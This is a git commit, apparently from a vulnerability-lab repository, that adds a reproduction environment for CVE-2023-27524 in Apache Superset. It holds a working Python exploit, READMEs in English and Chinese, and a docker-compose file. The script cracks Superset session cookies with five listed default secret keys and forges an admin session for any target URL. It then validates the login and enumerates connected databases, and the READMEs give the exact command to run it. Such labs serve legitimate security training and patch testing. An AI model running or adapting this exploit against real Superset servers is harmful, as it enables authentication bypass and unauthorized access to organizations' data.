first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
superset/CVE-2023-27524/1.png
Normal file
BIN
superset/CVE-2023-27524/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 52 KiB |
BIN
superset/CVE-2023-27524/2.png
Normal file
BIN
superset/CVE-2023-27524/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 126 KiB |
129
superset/CVE-2023-27524/CVE-2023-27524.py
Normal file
129
superset/CVE-2023-27524/CVE-2023-27524.py
Normal file
@@ -0,0 +1,129 @@
|
||||
from flask_unsign import session
|
||||
import requests
|
||||
import urllib3
|
||||
import argparse
|
||||
import re
|
||||
from time import sleep
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
SECRET_KEYS = [
|
||||
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
|
||||
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
|
||||
b'thisISaSECRET_1234', # deployment template
|
||||
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
|
||||
b'TEST_NON_DEV_SECRET' # docker compose
|
||||
]
|
||||
|
||||
def main():
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
|
||||
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
|
||||
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
|
||||
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
u = args.url.rstrip('/') + '/login/'
|
||||
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
|
||||
}
|
||||
|
||||
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
|
||||
if resp.status_code != 200:
|
||||
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
|
||||
return
|
||||
|
||||
session_cookie = None
|
||||
for c in resp.cookies:
|
||||
if c.name == 'session':
|
||||
session_cookie = c.value
|
||||
break
|
||||
|
||||
if not session_cookie:
|
||||
print('Error: No session cookie found')
|
||||
return
|
||||
|
||||
print(f'Got session cookie: {session_cookie}')
|
||||
|
||||
try:
|
||||
decoded = session.decode(session_cookie)
|
||||
print(f'Decoded session cookie: {decoded}')
|
||||
except:
|
||||
print('Error: Not a Flask session cookie')
|
||||
return
|
||||
|
||||
match = re.search(r'"version_string": "(.*?)"', resp.text)
|
||||
if match:
|
||||
version = match.group(1)
|
||||
else:
|
||||
version = 'Unknown'
|
||||
|
||||
print(f'Superset Version: {version}')
|
||||
|
||||
|
||||
for i, k in enumerate(SECRET_KEYS):
|
||||
cracked = session.verify(session_cookie, k)
|
||||
if cracked:
|
||||
break
|
||||
|
||||
if not cracked:
|
||||
print('Failed to crack session cookie')
|
||||
return
|
||||
|
||||
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
|
||||
|
||||
try:
|
||||
user_id = int(args.id)
|
||||
except:
|
||||
user_id = args.id
|
||||
|
||||
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
|
||||
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
|
||||
|
||||
if args.validate:
|
||||
validated = False
|
||||
try:
|
||||
headers['Cookie'] = f'session={forged_cookie}'
|
||||
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
|
||||
sleep(args.timeout)
|
||||
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
|
||||
if resp.status_code == 302:
|
||||
print(f'Got 302 on login, forged cookie appears to have been accepted')
|
||||
validated = True
|
||||
else:
|
||||
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
|
||||
except Exception as e_inner:
|
||||
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
|
||||
|
||||
if not validated:
|
||||
return
|
||||
|
||||
print('Enumerating databases')
|
||||
for i in range(1, 101):
|
||||
database_url_base = args.url.rstrip('/') + '/api/v1/database'
|
||||
try:
|
||||
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
|
||||
if r.status_code == 200:
|
||||
result = r.json()['result'] # validate response is JSON
|
||||
name = result['database_name']
|
||||
print(f'Found database {name}')
|
||||
elif r.status_code == 404:
|
||||
print(f'Done enumerating databases')
|
||||
break # no more databases
|
||||
else:
|
||||
print(f'Unexpected error: status code={r.status_code}')
|
||||
break
|
||||
except Exception as e_inner:
|
||||
print(f'Unexpected error: {e_inner}')
|
||||
break
|
||||
|
||||
|
||||
except Exception as e:
|
||||
print(f'Unexpected error: {e}')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
52
superset/CVE-2023-27524/README.md
Normal file
52
superset/CVE-2023-27524/README.md
Normal file
@@ -0,0 +1,52 @@
|
||||
# Apache Superset Hardcoded JWT Secret Key Leads to Authentication Bypass (CVE-2023-27524)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Apache Superset is an open-source data exploration and visualization platform designed to be visual, intuitive, and interactive.
|
||||
|
||||
Apache Superset contains a hardcoded JWT secret key vulnerability (CVE-2023-27524). The application ships with a default `SECRET_KEY` value that is used to sign session cookies. When administrators fail to change this default key, attackers can forge valid session cookies and authenticate as any user, including administrators. This allows unauthorized access to the Superset dashboard, connected databases, and potentially leads to remote code execution.
|
||||
|
||||
When combined with [CVE-2023-37941](../CVE-2023-37941/README.md), an unauthenticated attacker can achieve remote code execution by first bypassing authentication and then exploiting the deserialization vulnerability. This documentation only demonstrates the exploitation of CVE-2023-27524.
|
||||
|
||||
References:
|
||||
|
||||
- <https://www.horizon3.ai/attack-research/disclosures/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/>
|
||||
- <https://github.com/horizon3ai/CVE-2023-27524>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start an Apache Superset 2.0.1 server:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, you can access Superset at `http://your-ip:8088`. The default login credentials are admin/vulhub.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
The vulnerability exists because Superset uses one of following hardcoded default `SECRET_KEY` values:
|
||||
|
||||
- `\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h` (version < 1.4.1)
|
||||
- `CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET` (version >= 1.4.1)
|
||||
- `thisISaSECRET_1234` (deployment template)
|
||||
- `YOUR_OWN_RANDOM_GENERATED_SECRET_KEY` (documentation)
|
||||
- `TEST_NON_DEV_SECRET` (docker compose)
|
||||
|
||||
Use [CVE-2023-27524.py](CVE-2023-27524.py) to forge an administrative session (whose user_id is 1) cookie:
|
||||
|
||||
```bash
|
||||
# Install dependencies
|
||||
pip install -r requirements.txt
|
||||
|
||||
# Forge an administrative session (whose user_id is 1) cookie
|
||||
python CVE-2023-27524.py --url http://your-ip:8088 --id 1 --validate
|
||||
```
|
||||
|
||||
This script attempts to crack the session cookie using known default secret keys. If successful, it will forge a new session cookie with user_id=1 (typically the admin user) and validate the login.
|
||||
|
||||

|
||||
|
||||
Use this JWT token in the cookie value like `Cookie: session=eyJ...`, you can access the backend endpoint of Superset:
|
||||
|
||||

|
50
superset/CVE-2023-27524/README.zh-cn.md
Normal file
50
superset/CVE-2023-27524/README.zh-cn.md
Normal file
@@ -0,0 +1,50 @@
|
||||
# Apache Superset 硬编码JWT密钥导致认证绕过漏洞(CVE-2023-27524)
|
||||
|
||||
Apache Superset是一个开源的数据探索和可视化平台,设计为可视化、直观和交互式的数据分析工具。
|
||||
|
||||
Apache Superset存在一个硬编码JWT密钥漏洞(CVE-2023-27524)。该应用程序默认配置了一个预设的`SECRET_KEY`值,用于签名会话Cookie。当管理员未更改这个默认密钥时,攻击者可以伪造有效的会话Cookie并以任意用户(包括管理员)身份进行认证。这允许未授权访问Superset仪表盘、连接的数据库,并可能导致远程代码执行。
|
||||
|
||||
当与 [CVE-2023-37941](../CVE-2023-37941/README.md) 结合使用时,未经身份验证的攻击者可以先绕过身份验证,然后利用反序列化漏洞执行任意代码。不过本文档只展示CVE-2023-27524的利用。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://www.horizon3.ai/attack-research/disclosures/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/>
|
||||
- <https://github.com/horizon3ai/CVE-2023-27524>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行以下命令启动Apache Superset 2.0.1服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,可以通过`http://your-ip:8088`访问Superset。默认登录凭据为admin/vulhub。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
这个漏洞存在的原因是Superset使用以下硬编码的`SECRET_KEY`作为密钥来签名Cookie:
|
||||
|
||||
- `\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h` (版本 < 1.4.1)
|
||||
- `CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET` (版本 >= 1.4.1)
|
||||
- `thisISaSECRET_1234`
|
||||
- `YOUR_OWN_RANDOM_GENERATED_SECRET_KEY`
|
||||
- `TEST_NON_DEV_SECRET`
|
||||
|
||||
使用[CVE-2023-27524.py](CVE-2023-27524.py)伪造管理员(用户id为1)会话Cookie:
|
||||
|
||||
```bash
|
||||
# Install dependencies
|
||||
pip install -r requirements.txt
|
||||
|
||||
# Forge an administrative session (whose user_id is 1) cookie
|
||||
python CVE-2023-27524.py --url http://your-ip:8088 --id 1 --validate
|
||||
```
|
||||
|
||||
该脚本尝试使用已知的默认密钥破解会话Cookie。如果成功,它将伪造一个新的会话Cookie,其中user_id=1(通常是管理员用户),并验证登录。
|
||||
|
||||

|
||||
|
||||
将这个伪造的JWT令牌添加到Cookie值中,如`Cookie: session=eyJ...`,即可访问Superset的后端API:
|
||||
|
||||

|
5
superset/CVE-2023-27524/docker-compose.yml
Normal file
5
superset/CVE-2023-27524/docker-compose.yml
Normal file
@@ -0,0 +1,5 @@
|
||||
services:
|
||||
web:
|
||||
image: vulhub/superset:2.0.1
|
||||
ports:
|
||||
- 8088:8088
|
2
superset/CVE-2023-27524/requirements.txt
Normal file
2
superset/CVE-2023-27524/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
flask-unsign==1.2.0
|
||||
requests
|
Reference in New Issue
Block a user